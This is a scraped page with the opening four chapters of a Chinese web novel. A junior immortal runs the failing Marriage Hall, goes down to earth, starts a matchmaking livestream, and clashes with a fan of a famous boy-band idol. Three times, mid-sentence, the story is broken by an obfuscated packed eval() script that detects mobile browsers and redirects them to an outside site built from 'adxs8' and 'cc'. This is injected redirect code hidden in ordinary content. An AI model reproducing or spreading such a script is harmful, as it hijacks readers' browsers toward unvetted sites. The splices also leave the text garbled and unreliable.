《职业月老,在线拆婚》 1. 第 1 章 “凡间守则之三:所有仙力均被天地规则压制,除职能相关外……月仙大人!您在听吗!” 朝天门。 镜面般澄澈的水光路面掩映在成片的云雾之中,这些由水镜弥散而出、延漫至人小腿处的白色云雾由至纯灵力组成,仅是站立其中,便有提神醒目,消解疲劳的效果。 不仅美观,而且实用。 这也是莺芝每每加班后,最喜欢到上天庭公园里小睡一觉、从而薅上一把的羊毛。 但此时,莺芝却是完全顾不上感慨这些的。 她站在朝天门后长长的队伍中,不时从怀中拿出块刻写着时间的圆形玉盘看一眼,又踮起脚,往队伍最前望去。 “嗯嗯嗯,在听,在听……”收回视线,莺芝口中随意应着,又微微皱眉,低声自语,“这么多人下凡,大家都不工作吗?也并非休息日啊。” 在她的肩膀上,一个小小的由红线缠围成轮廓的人形“物体”,看起来颇为吃力地捏着一张远超它体型的纸张,那张仅仅只由两粒红豆浮空组成眼睛的脸上,显露出了名为无奈的情绪: “月仙大人——!!” “刚刚那位守卫大人亲自交代的,这是天庭给每位下凡仙人的《凡间守则》,每位下凡的仙人都要熟记,您这样不在意,等下下凡会遇到麻烦的!” “我并非不在意,我是着急。”被吼了一顿的莺芝温声温气地解释,“我只想尽快下凡,探查究竟是怎么回事,找出问题,然后解决问题。” 她原先只是凡间的一只莺鸟,得了造化得以登天。 然而天庭仙灵没有万万千万也有百十万,像她这样仙力低、出身低、潜力低——简称“三低”的小仙灵,是不可能一来就有什么好工作的。 所以,这数千年间,莺芝先后换过无数的工作,从最低级的开始,一步步往上走。好在她对待每一份工作都尽心尽力,在各大殿小殿的用人主事那里都口碑不错。 终于,有朝一日,她接到了自己升任了一殿主事的通知。 ——姻缘殿。 顾名思义,就是掌世间姻缘的部门。 对于在各个职位辗转的小职员仙人来说,来到姻缘殿,成为红线仙,简直是一步登天。 然而,来到姻缘殿后,莺芝只是草草翻阅了一下工作日志,就完全高兴不起来了。 ——据日志记载,近几届来的天庭各部门业绩评比,姻缘殿都是倒数! 在天庭评比中,蝉联倒数次数过多的部门,是会渐渐被边缘化、降低待遇降低一切,从而渐渐淡出大家视野,最终被关闭的。 好不容易升职,却来了个濒临关闭的部门? 莺芝当即一拍案桌。 不行,她不允许! 这可是好不容易得来的大好饭碗,怎么能就这么放任它被打碎? 综合考虑后,她决定下凡去看看到底是什么情况。 至于为什么是凡间,而不是在天庭就地展开问卷调查——虽然促成一桩仙神的姻缘能够得到的绩效顶得上凡间多起,但天庭这些老神仙们,谁不是活了百千年的?该有老伴的都有了,没有的那就是真的不需要,没有她发挥的余地。 何况,天庭仙神是否强大,从根本上说,吃的还是凡间的信仰和香火。如今姻缘殿落得个绩效倒数的地步,源头还得从凡间找。 所以无论如何,这一趟都必须得走。 “着急也没有用啊,时玉都快被您摸出裂口了,这队伍不是还没前进多少么?要我说,这就正是让您好好阅读《凡间守则》的机会……” “这是噎鸣殿出品的时玉,质量很好,不会出裂口。”莺芝下意识解释,又补充,“这是我当初花了一旬的工资购买的……若是轻易坏掉,我会找噎鸣殿索要赔偿的。” 这不大不小的声音不仅被红线小人听到了,也让排在莺芝前面的那个仙人忍不住笑了两声。 红线小人:“……月仙大人!!” 干咳一声,莺芝投降:“好好,你说你说。” 红线小人没有表情,但那张纸被它抖得哗啦啦作响,充分表示着它的情绪:“我不读了,您自己看吧!” 察觉到小助手在闹脾气,莺芝摸摸鼻子,亲自拿过了那张纸,一目十行地浏览起来。 “时间流速调整为1:1……如今凡间一天天上也一天了?” “早就这样了!现在凡间发展太快了——” “到了凡间仙力体制均会被压制,法术大多没法用,职能相关可以,本身的天赋也可以,根据效果会有不同的限制……唔,这好懂。不能伤害凡间之人,呃,若是他们打我呢?” “……没有人会无缘无故打你的!”红线小人在莺芝肩膀上瘫下,无语望天,“凡间现在也是法治社会了!” “噢。”莺芝颔首,继续往下看,“……非人仙灵不能在大众面前露出本体,避免引起恐慌……嗯,也合理。” 不一会儿,她把纸张卷起来,随手丢进了腰间的收纳荷包:“看完了。” 红线小人没有怀疑她话语的真实性,毕竟这位新上司,对待自己应承过的事,都不会敷衍了事。 放下心来,它转而说起别的: “月仙大人,要我说,指不定是凡间现在很多人改信了其他司掌姻缘的神仙……” “别的司掌姻缘的仙?”莺芝一愣,“天庭不是只有我们一个姻缘殿吗?” 红线小人“哎呀”一声:“我是说——我也是听别人说,就那个谁嘛,什么丘某特,维某斯……” 莺芝听得一头雾水。 这都谁跟谁? 难道她与世隔绝太久,所以孤陋寡闻了? 见状,红线小人顿时来了劲头,扒拉着莺芝的耳朵嘀嘀咕咕开始讲它从各处听来的故事。 直到那巨大华美的朝天门终于近在眼前,前边的仙人走进下凡的云海,它才依依不舍地住了口,到莺芝耳边,化成了一个缀着两粒红豆的红绳耳饰。 登记完姓名和所属宫殿,拿好下凡的文书资料,莺芝在守卫摊开的地图上选了一处拥有“月老像”的庙宇后,提步走进了那团看不到尽头、似乎能把整个人都吞进去的白色云海。 自登天后,这还是她第一次下凡。 但莺芝却并不忐忑。 ——为了来之不易的饭碗,万事皆可平啊! …… 脚下软绵如棉花的质感没有持续太久,几步之后,周围的云雾便倏地稀薄,渐转淡薄而后散去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189081|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>与此一同兴起的,是潮水般涌来的声音。 一波接一波,不间断地喧闹着。 人声鼎沸。 莺芝选择的这座庙宇,位于庙宇聚集最多、神像最多最齐全的一处城市,据莺芝猜测,这种地方,即便不是都城也是大城市。 而这一下来,果然便被如此这般多的人和声音给砸了满脸。 “果然是‘人间烟火’啊……” 从树下角落走出,看着攒动的人头,嗅着充斥鼻间的香火气,莺芝忍不住暗慨。 天庭向来是个清净地,即便是宴会,也没有这么热闹的。 那么,问题来了,来庙里的人这——么多,为什么姻缘殿还是那么点业绩?! 莺芝整理了一下想法,立刻进入工作状态,不再被这热闹的景象扰动神思,依靠现任“红线仙”与距离最近的“月老像”之间的感应,朝着庙宇后方走去。 红瓦的长廊尽头的圆形拱门后,连接着一个大大的院落。 院中种着多棵碗口粗的树木,不算太大的树木枝干却不小,在当前的额季节中,绿荫如盖,显然被庙里养得极好。 莺芝视线扫过一圈,最后落在了这些错落排布的树木上。 据她的感应,这个庙的月老像就在后边那排屋子的某一间。 但…… 她再次一一看过这些树木。 树木交错的枝丫上,挂着无数的红绳和木牌。 莺芝知道,这象征着人们的心愿和祈祷,这些树,就是承载着人们心愿的树木。 这许许多多许许多多木牌红绳,眼前每棵树上都有——但却不是每棵树上都一样多。 莺芝定定站在人潮之中,视线落到了面前这棵树上。 [真爱降临] 再看树冠—— 红绳挂得稀稀落落,木牌零落啪啪嗒嗒。 上边的绳子多是被风雨吹打脱了色的,木牌也露出些斑驳痕迹,完全崭新的也有,但整体看上去,多数掩映在树叶之下,数量不算多,尤其在隔壁、以及隔壁的隔壁,甚至再往隔壁…那几棵树的映衬下,更显可怜。 [真爱降临]的旁边,和旁边的旁边,是[财运亨通]、[身体健康]。 挂有这两个标识的树木,此刻红绳满载,压得偏纤细处的枝干都有些垂落变形,已然是不堪重负。 即便如此,每个到这里的香客,都仍然会在祈祷后,毫不犹豫把手中木牌扔上去。 和这两棵香火归属于财神殿和药王殿的树一比,自家这棵树就真的可以说是“空空如也”了。 莺芝凝望着那几棵树,被动陷入了沉思。 身边,扔木牌祈愿的香客人来人往,谁也没觉得这么个穿着“汉服”的年轻女孩站在这里一动不动有什么不妥,都礼貌地绕过她,该往哪走往哪走。 莺芝倏地四顾。 和记忆中来庙宇的人群不同,来上香祈愿的群体中,不再全是上了年纪的让人,反而多是青年。 后知后觉察觉到这一点,莺芝感觉自己隐约摸到了点边边——为什么姻缘殿香火寥寥,业绩垫底的边边。 但,这个猜测又让她忍不住嘴角一抽。 ……现在的年轻人,这么现实吗? 2. 第 2 章 沉默过后,莺芝思绪渐渐清晰。 姻缘殿绩效差不是什么能够轻易改变的人为因素,而是客观原因——现在凡间的年轻人们,比起真爱,他们更愿意选择暴富健康学业等。 曾经遥远过去话本里那些“山无棱江水为竭,天地合乃敢与君绝”的事,便只停留在了故事里。 虽然对于一位神仙来说,这太现实了,现实到让仙失业!但是……很难不理解。 莺芝盯着姻缘树,目光幽幽。 这份过于沉重的现实虽然不至于让她这个新上任的红线仙就此生出绝望,折戟认命,却让她忍不住想叹口气。 “唉……” 一声轻叹传入耳畔,莺芝猛地转头。 她虽然想叹气,但还没叹呢啊,这是谁替她叹了? 人流涌动,莺芝的视线却没有丝毫犹疑地落到了数十米外,一位面对着祈愿树,面露愁苦之色的年轻男人身上。 那人穿着简单的T恤长裤,一头利落的短发,从外表看就是个普通的符合当下时代穿着打扮的凡人,但莺芝却在他身边看到了朦朦胧胧的白色雾气——那是仙人下凡时在天庭留档,被动带上的标记。 原来是位同僚。 莺芝心有所感,顺着他的目光看去。 [学业有成][早生贵子] 两颗大树并列而立。 [学业有成]在[身体健康]旁边,那树冠上红绳木牌的数量,是让莺芝多看一眼都觉得冒酸水的地步,而旁边的[早生贵子]—— 一看之下,莺芝心里一跳。 这送子观音树的“愿望”,比姻缘树还少……在影影叠叠的树叶下,都几乎看不见红色了。 再看那唉声叹气的男仙,莺芝目光里都带了些怜悯。 天哪,凡界遇同僚,竟是难姐难弟。 同样快要倒闭的部门,同样的小职……哦她不是小职员了、但这不重要。 莺芝走上前去,跟这位同病相怜的同僚打了个招呼。 “你也看香火?”她问候道,“哎,现实啊……着实是太沉、咦,是你。” 这一走近,看到了脸她才发现,这人竟然是排队时站在他前边一位的那个。 原来他是送子观音殿的啊。 ……太惨了。 莺芝忍不住摇头。 男仙闻声转过头来,见到是莺芝,他似乎也想起了刚刚在朝天门排队时的一面之缘,唏嘘道:“是啊,太沉重了……” 他脸上的愁苦不似作伪,真心实意的惆怅叹息,让莺芝更加心有戚戚。 两仙纷纷沉默哀叹。 片刻后,莺芝问道:“你不是首次下……来吧?” 排队时两人分明一前一后,但那个巡卫却只给她发了一份《凡间守则》,跳过了他;而且,这才刚刚下来,她还穿着天庭仙子们的制服呢,他就已经非常入乡随俗了,这份熟稔,怎么看都是相当有经验的了。 一句话问出口,不等对方回应,她便继续道:“我是姻缘殿的莺芝,怎么称呼?不瞒你说,我是初次下…来,很多事情都不是很了解——咳,类似你我这等情况,一般来说,要怎样才能救一救?” “…文隽。”男仙先是微微一顿,似乎被她的自来熟惊到,听清问题,又叹息着开了口,“救?没得救……” 他摇了摇头:“如果把这比作一道题目,那么,接受现实就是唯一的解法。” 听他语气里满满的怠惰之意,莺芝不赞同道:“事在人为,不要轻言放弃。” 好歹也是神仙,垫底把自己斗志垫没了怎么行。 这么没志气呢? 文隽被她这温声细语、半示警半激励的一句说得明显有些失语。 默默看了她一眼,他长长叹了口气:“……你说得也对。” 仰望着情状天差地别的几棵祈愿树,莺芝脑子飞转,口中不停。 “虽然像我们这种情况、是当下大势所趋,但好歹也是可以努力的,许多大事都是由一桩桩一件件的小事组成,千里之行也始于足下第一步——” 突然,她灵光一闪:“你……很熟悉下边对吧?那有没有、嗯,有没有什么途径,能够让更多人看到我们的事迹?” 文隽讶异:“我们有什么事迹?” “……重要的是那里吗?”莺芝有点无奈,但还是仔仔细细地解释道,“暂且先拿姻缘殿做例——如今姻缘殿香火之差,很大程度上是因为人们不再信任‘爱’。所以为了让人们重新燃起对爱的期冀,我接下来必然要去做一些事。那么,若我发现了一对情比金坚的有情人,该怎样让更多人知道、世上还有这样的感情?若他们需要历经很多磨难,那在他们向‘月老’祈求、终成眷属后,又该怎样让更多人知道这件事呢?” 她语速稍微有些快,但吐字却极其清晰,在天生就要悦耳几分的嗓音加持下,这么多话一股脑下来,也不会让人听得生出什么不耐烦来。 “……”文隽听完,表情明显古怪了一些。 “你……就准备这么‘一桩桩一件件的小事’去做?” 莺芝颔首:“当然。” “……为什么?这又不是你一个人的责任。” 莺芝不解:“这是我的工作。” 文隽“嘶”了一声,屈指敲了敲自己额边的穴位:“你说的也确实能行得通,只要能让更多的人重新相信‘姻缘’——至于扩大影响力……有办法是有办法……” 莺芝精神一振:“什么办法?” 文隽顿了顿,左右四顾了一下,确认周围的香客们没谁注意他们后,把手伸进了明显瘪着的裤子口袋,拿出了个手机来。 莺芝了然。 他把乾坤袋嫁接到了衣服口袋里啊。 文隽在手机上飞快操作了几下,然后把它递到莺芝面前:“就是这个了。” 莺芝看过去,那屏幕上,一个穿长衫的中年男人坐在茶烟袅袅的室内,侃侃而谈着什么。 屏幕的左下方,许多行小字层叠往上摞累。 她侧目:“……这是?” 她没见过。 “咳,他在讲话本。”文隽简单解释了一句,旋即收起手机,扯回话题,“这就是现在下边很流行的,很多人都能看到、影响力很大范围很广的‘手段’。” “这里管这个叫,直播。” 眼看莺芝还有更多的问题要问,而他们已经在这里站了太久,两仙转移了位置。 在文隽的带领下,他们来到了一家奶茶店,以此为临时落脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189082|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地进行接下来的交流。 在莺芝孜孜不倦地追问下,文隽把相关的事情基本都教授了一遍。 终于,感觉自己了解得差不多了,莺芝心满意足停下,神采奕奕起身告辞。 “多谢,真是帮了我大忙——等改日回去,我请你吃灶王殿出品的仙餐!” 文隽已经口干舌燥,捧着冰茶小声叹气:“……不算什么,能帮上你就好。” 真不愧是同病相怜的好同僚! 莺芝心里感慨,冲他一笑:“放心,你那边的事务,我也会替你上点心的,之后直播的时候,我会帮忙宣扬一下你们殿。” “——不不不,不劳烦你了。”文隽连忙摆手,“你事务繁重,不用帮我,我,…我会努力的。” 莺芝赞同:“这才是神仙该有的斗志嘛——那我就不多管闲事了。” “就到这里吧,我去买部手机,就赶紧投入工作了,下次再聊。” 她笑着点头致意,走出去几步,又蹬蹬蹬走回。 “那什么,这里的钱……” 文隽拿出手机:“我先借你。” “太感谢了。”莺芝松口气,伸手。 文隽默默喝完手里的冰茶,起身:“……我带你去吧。” 反正这次下凡也就是喘口气……帮人帮到底吧。 …… 等到手机,钱,临时住处一应找齐、又都安置好后,莺芝千恩万谢送走文隽,嘱咐对方回去可以先去姻缘殿,凭她给的那枚羽毛找留守的“小助手”收“债”。 窗外天际已经是漫上夕阳。 来到凡间后,体质也被压制到了和凡人等同的地步,大半天时间过去,虽然惯性上莺芝仍不觉得“身体需要吃饭”,但隐约的饥饿感却是越来越清晰。 不过,她倒是没急着解决饥饿问题,而是坐回单人间的小沙发上,拿出了手机。 化作耳饰的红线小人已经解除了化形,吭哧吭哧爬上她的脑袋,把着几缕发丝,跟着一起看向手机屏幕。 文隽在走之前,从莺芝那里要来了下凡时守卫发放的文书资料,从中找出了“身份证”,给莺芝注册了她当前亟需的软件账号,又帮着进行了实名认证,确认一切无误后才离开。 现在,莺芝点开屏幕,打开软件,就可以直接进行直播。 “稍后我‘直播’时,你不要出现在里面。” 把手机固定在桌上的支架上,调整着角度,莺芝嘱咐着。 红线小人点点头,非常懂事地从她头上跳下来,跳到了桌上的手机支架边。 它们这种被仙神点化,带有灵性的“非人生灵”,虽然不占单独的下凡名额,但也要遵循《凡间守则》的。 这可是上任姻缘仙以来,第一次正式进行相关的工作—— 姻缘簿、在,点缘笔、在,红线、在,断缘剪……虽然大概率用不上,但也在。 再三确认了从收纳荷包里取出的东西,莺芝语音输入了名字和简介,然后郑重其事点向屏幕。 主播:【AA红线小莺】开启了直播。 直播间:【职业月老,在线定缘】 详情:【千里姻缘一线牵,没准落到你身边——免费定缘,缘定三生~走过路过不要错过了诶!】 3. 第 3 章 【您已开启直播,说点什么吧!】 看到直播开启的提示,莺芝下意识又正了正坐姿。 小小的手机屏幕里,面容秀美的女性正襟端坐着。 然而,她轻轻清了清嗓子,正准备说些什么时,眼睛却突然睁大,像是看到了什么,又没能发出声音来。 ——当前直播间人数:0 “说点什么……都没有人在看,说什么别人也听不到啊……”她小声自语。 虽然是开播了,虽然系统也提示了可以开始了,但问题是,直播间里一个人都没有啊。 总不能一直自言自语吧。 想着那位同僚下午时的“教导”,她又耐着性子安心,保持微笑,静静望着屏幕等待着。 文隽似乎有说过,一开始人会很少,得慢慢积累。 而且新人的话,估计会有平台的给的流量。 那就安心等待。 红线小人也注意到了直播间无人事实,它在桌子上坐下,红线弯折起来,红豆做的眼睛溜溜盯着屏幕,跟自家上司一起,等待着观众的到来。 终于,几十个数过去,莺芝看到屏幕下方的小框框里突然跳出了一行字。 【用户:[晚间生物]进入直播间】 还不等莺芝反应过来,又几行字跳了出来。 【用户:[我真没有QAQ]进入直播间】 【用户:[履行摸鱼职责]进入直播间】 【用户:[pinwomingzidebendan]进入直播间】 【用户:[给予她温油ma]进入直播间】 【用户:…… …… 一连串的提示,红线小人噔地蹦起,不敢出声,只能朝着莺芝一个劲挥动红线,无声呐喊:来人了!来人了!! 快说话啊月仙大人! 莺芝哪用得着它提醒,早在看到第一个人进来的时候,她就已经绽开了微笑。 “‘晚间生物’你好,欢、‘我真没有’你好……欢迎各位来到直播间,这里是月老定缘直播间,各位来到这里,如果有需要,可以尽情咨询,所有问询均免费——” 她脸上带着工作时特有的职业化笑容,流畅地说着早已准备好的开场白。 【晚间生物:我去,这是给我干哪来了,刚一打开app就给我分这儿来了,这年头的平台真贱那。】 【晚间生物:哎我去,一进来就听到小姐姐喊我ID,这么温柔呢?好听,喜欢,声音主播?】 【履行摸鱼职责:小姐姐长得好秀气……等等,什么东西……月老?】 【给予她温油ma:所以这是个拉媒的直播间?非x勿扰?百x婚恋?真晦气……走了!】 【我真没有QAQ:什么意思,定缘是什么?月老?所以说,是算姻缘吗?】 …… 一齐涌入的十几人里,有的根本不等莺芝开口就直接点了退出,有的则是听完开场白后留下一句“骗子”扬长而去,其余的则或是因为被莺芝的外貌声音等短暂吸引、又或对她所说的内容有一点点兴趣,亦或是单纯失手点进来,也没什么别的事要做,就多听两句——各种各样的因素作用下,大半的观众没有选择第一时间就立刻离去。 莺芝笑容不变,从容点头:“是的,姻缘可以算。” 姻缘殿执掌世间所有姻缘事宜,算一算,不就是查找一下么,当然也涵盖在职权范围内。 她身上穿着的仍然是下来时的那身,天庭最普通的仙子长裙,粉色的裙裳衬得其面若桃花。 而此时,莺芝虽未施粉黛,没有化妆,但经镜头自带的滤镜磨了一层的外貌依旧清晰,细眉杏目,瞳漆唇红,笑容中自带一股含蓄温婉,声音又悦耳动听,种种加持之下,让人很难生出恶感,第一印象十分不错的同时,又格外想多看上两眼。 此言一出,最开始进入直播间的那位观众就忍不住又发了条弹幕出来。 【晚间生物:小姐姐,你这看着像素颜,我虽然不知道你美颜开了多大,但有这种资质,你完全可以转隔壁颜值区啊。或者去声音区那边,不管是唱歌还是念书配音,都更适合你。】 【晚间生物:算卦什么的……这种玄学看起来跟你不搭边,很难火的。】 为了证明自己无恶意,他还特地送了个小礼物。 【[晚间生物]送出应援棒x1】 直播间观众寥寥数几,发弹幕的更是不多,莺芝不用花什么心思都不会错过任何一条。 她含笑看完这位观众的发言,表情不变地回应道:“谢谢你的建议,但这是我的工作,我必须要做好它。” 晚间生物沉默下来,似乎也被这个朴实无华的答案给噎住了。 直播间里断断续续有人进来,也有人退出,但基于和先前那些观众一样的理由,留下的始终要多于退出的。 再加上莺芝的直播间挂到了新人主播的版块处,一些长期流连在这里的用户看到封面上的莺芝、或直播间标题后,点进来的也不在少数,很快,直播间的观众就突破了半百。 而且,随着时间越来越晚,更多的人结束一天的工作,进入直播间的也越来越多,在线人数没什么波澜地就变成了三位数。 其中,冲着直播间的标题和简介来的不在少数,想着看看热闹或者找个下饭直播什么的。 但即便如此,莺芝这里仍然是在闲聊状态,没有人找她“定缘”,也没有人找她“算姻缘”。 毕竟一个新直播间,什么流程什么情况都还没摸清楚,观望人数必然要大于上前吃螃蟹的。 【[履行摸鱼职责]送出应援棒x1】 【履行摸鱼职责:小姐姐,现在这种时代,线下算卦的都骗不到几个人了,搞这个没前途的呀。而且你还说是免费……】 莺芝笑着谢过这位观众的礼物,依旧是摇头: “我的愿望是看到世间越来越多的有情人终成眷属,所以才会开设这个直播间……” 【柏承哥的真嫂子:主播是听不懂人话吗,那姐妹就差直说了——说你是骗子呢,还扯什么愿望不愿望的。免费免费,说得好听,免费的才是最贵的,谁还不知道你们的套路?】 【柏承哥的真嫂子:真倒霉,打开软件就动了一下就跳进这儿来了,结果还撞上个骗子。】 看完这几行消息,莺芝面有不解:“免费就是免费,任何环节都不收取费用,何来昂贵一说?” 她丝毫没有被观众当场找茬的不悦,语气依旧平和,温声温气地解释: “本直播间可以进行姻缘的测算、预知等一系列定缘相关事宜,所有环节均……嗯、透明公开?不收费的。只不过每日次数有限,具体可以进行几次,要依据定缘的难度来看。” 【柏承哥的真嫂子:笑死我了,还根据难度看,说得跟真的似的,玄乎其乎的。那你说,怎么算?看手相还是面相?解签要不要钱?解签的时候要是想要个‘吉祥’一点的答案,是不是还需要给‘月老’供奉点定金?】 “如果需要定缘,不需要手相,只需把姓、名,生辰八字以及出生地等,以及能够看清五官面相的照片交予我即可。” 莺芝仔仔细细地回答着看到的问题,看到后边,她眼睛微微睁大。 想要个“吉祥”的答案和结果,所以给月老“供奉”? ——这不就是贿赂么! 对该用户这种不正当的行为十分抵触,莺芝眉心微蹙,试图劝说对方放弃这种不正当的念头:“缘分天定,若是命中无缘,强行改缘、即便把红线绑到一起,也是没有用的。强扭的瓜不甜,这等俗语是有一定道理的。何况,‘月老’并不能收受贿赂。” ……收了也没用。 你们凡间的钱,又不能给姻缘殿增添业绩。 还不如一桩称心婚事得来的香火。 想到这,莺芝摇了摇头。 【柏承哥的真嫂子:算个卦要这么多个人资料,查户口啊?盗用户资料?】 【我真没有QAQ:算卦确实要很多详细的资料的,不然没办法确定是你,错一个东西都很可能算到别人身上去,你不懂少说话。】 【晚间生物:我听来听去……不能强行改我能懂,那这个算的还有什么意义?】 莺芝道:“可以得知自己的正缘在何处,也可以得知自己与当前有纠葛的对象是否为正缘,还能为坎坷的感情求取一定的护佑之力……” 【柏承哥的真嫂子:图穷匕见了吧,说吧,卖开光手串还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189083|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红绳还是姻缘锁的?】 开光手串姻缘锁……姻缘殿还真没有这种东西,以后看情况可以开发一下? 但红绳确实有。 莺芝把弹幕区消息看了又看,被动地把这位三番四次出现的观众ID记在了心里。 她摇头:“不卖。届时若真有需求,去庙中祈求即可。” 【给予她温油ma:……可给我听明白了,原来是跟庙有合作。哪家庙啊这么别出心裁?】 【履行摸鱼职责:你不是走了吗?】 【给予她温油ma:看看都不行?服了,垃圾直播间,什么风气,走了!】 没有理会他们的交流,莺芝一丝不苟地回答道: “没有固定的庙宇。任何一座供奉有月老像、红线娘娘等姻缘司所属的庙宇都可以。” 【晚间生物:听起来真的挺玄……又不要钱又不卖东西,小姐姐,你不会是真的会吧?】 莺芝微笑着,正要回答,熟悉的ID再一次跳了出来。 【柏承哥的真嫂子:还装上瘾了……真当没人敢来拆穿你吗。】 【柏承哥的真嫂子:你要是真的懂,那帮我算算?】 莺芝眉眼弯弯:“好啊。” ……终于有人来尝试了! 大喜过望,她语气越发温柔:“把姓,名,生辰八字,出生地,照片发给我就好。” 屏幕另一端。 见如此这般的为难和拆台,都没能让误入的这个直播间里的小小新主播破功,假笑一直在脸上粘的牢牢的,本来就心情不好的女孩更显出几分不耐。 瞄了一眼手边另一部手机,她烦躁地调出直播间下方的输入法,噼里啪啦一顿操作。 【柏承哥的真嫂子:好啊,我这就给你。但是,我不算我自己,算我的心上人,能算吗?】 【我真没有QAQ:你多少有点病吧,谁家算卦是这么算的?给出自己的生辰八字,让算别人??】 【晚间生物:不喜欢看退出直播间就好了,人家小新人主播也不容易,你这是何必……】 【[晚间生物]送出应援棒x6】 莺芝安静地看完对方发来的消息,又按照下午文隽教过的,去后台确认了一下私聊处对方发来的内容,平静地一点头。 “可以。能。” 【柏承哥的真嫂子:笑死,那你算吧。算算我心上人的姻缘,算算我跟他的可能。我倒要听你能说点什么出来。】 莺芝不气不恼地噙着笑颔首,在镜头拍不到的地方,将摊开的姻缘簿放到手边,以点缘笔在其上凌空书写下刚刚收到的八字。 而后,她闭上眼,脑中回忆着那张照片上的女孩模样。 同一时刻,红线小人解除人形,化作一根红线,凭空升起,在她指尖兀自盘旋轮转。 直播间观众见她就这样闭上了眼,一时都有些好奇,弹幕刷刷出现了不少。 片刻后,莺芝睁开眼。 此番动用了仙力,虽然是职权范围内的,但仍旧有些吃力。 按照这样的强度,估计一天最多也就只能测算个三五次的。 她预估了一下,收了仙力,红线则落回桌面,重新变成人形。 “在那之前,我需要确认的一点是,他、那位姓名共计三个字,年龄二十七岁的男性,是否真的为你的心上人。” 她此言一出,直播间许多人都提起了精神。 屏幕前,听到名字年龄,女孩微微一怔。 旋即,她嗤笑一声。 这又不是什么遮遮掩掩的,猜到也不难。 【柏承哥的真嫂子:是,怎么,猜到了他是谁,所以现在是不敢往下说了?】 莺芝摇头,秀气的眉毛微微皱起,不再有先前那般不管大家怎么说、都从容温和的微笑。 她认真应道:“若他确系为你心上人,那你还是早日断掉这份感情为好,他非你正缘。” 【柏承哥的真嫂子:笑死,一句非正缘就敷衍过去了?】 【柏承哥的真嫂子:你看出来我是粉丝,所以用话术糊弄我呗?】 “我不知道你所说指向什么,但……” 莺芝停顿片刻,轻轻叹了口气: “他已有婚姻。” 4. 第 4 章 ——他已经有了婚姻。 莺芝这句话一出口,整个直播间弹幕都忽地多了起来。 虽然她用词文不文白不白的,听起来像极了为了贴合“人设”刻意凹的风格,但对于大多数观众来说,基本都可以立刻理解,并且非常自主地还对此进行了一系列的延展思考。 所以,无论是纯看乐子的看美女的下饭的还是观望党,都精神一振,突然兴致高涨了起来。 ——你的心上人,已经结婚了! 【我真没有QAQ:我嘞个豆真的假的,真能靠他的信息算出他心上人的?】 【给予她温油ma:是个女的吧?所以跟这个结了婚的男的是暗恋还是已经谈了?】 【骂谁二次元呢:只有我一个人看她ID想到了一个人吗……年龄也对得上……】 【履行摸鱼职责:rbc?】 【晚间生物:在说什么,rbc是什么?】 【骂谁二次元呢:是任柏承。就那个男团的,跟所有队员都能卖一手麸的那个。】 【一只浪迹瓜田的猹:我去我去,这也能给我撞见天降大瓜?快,到底怎么回事,真的是任柏承吗?主包姐姐快说,我要听!】 …… 任柏承,如今内娱top级男团的队长。 当年,观众从他们还是练习生时就关注着,一直到最后的选秀、成团、出道,可以说是看着他们一步步走到今天的。 所以无论是养成系的魅力也好,又或是其他什么原因也罢,近几年来内娱选秀迭代不断,唯一一个从数年前火到现在的男团,也就当数这一个。 而任柏承,凭借一张优越的脸,在练习生时期就是人气top、并在选秀中直接拿下该团体成团名额与队长的位置,出道至今更是团里人气流量都断层的存在,被粉丝们奉为“内娱男团唯一全能ACE”,女友粉妈妈粉cp粉等遍布各个网络平台,堪称顶级流量爱豆。 现在,这个小小的,和男团完全搭不上边的“拉媒”“玄学”直播间里,竟然出现了任柏承的大名——随着讨论吃瓜的声音越来越热,越来越多闻风而来的观众涌了进来。 在一片或猜测或敲碗等瓜的声音中,那位跟莺芝掰扯了半天的观众却并没有第一时间出现回应。 网络另一端,屏幕前。 在刚刚,听到莺芝说出“他有婚姻”后,女生差点笑出来。 已经结婚了? 开什么玩笑。 柏承哥结婚没有她还能不清楚? 这小主播岂不是把脸凑上来给她打么! 然而,还没等她想好要怎么样逻辑缜密一锤子直接把对方砸死,她就看到了弹幕区明晃晃被挂出来的名字,以及越来越多的观众。 她顿时来了火气,噼里啪啦打起字来。 【柏承哥的真嫂子:这么喜欢我哥,都带他大名了,真不怕被告?】 【柏承哥的真嫂子:我哥公司一向告黑很狠,上边提我哥大名的,等律师函吧。】 【柏承哥的真嫂子:还有,主播,你也等着吧,敢空口造谣,真是天堂有路不走,地狱无门自投。】 【柏承哥的真嫂子:我哥出道以来一直洁身自好,连绯闻都没传过,你上来就说他结婚了,笑死我了,你是看不起谁的职业素养呢?】 【柏承哥的真嫂子:退一万步,我哥现在才二十七岁,说人家这个年纪就结婚,诅咒谁呢?】 莺芝:“……” 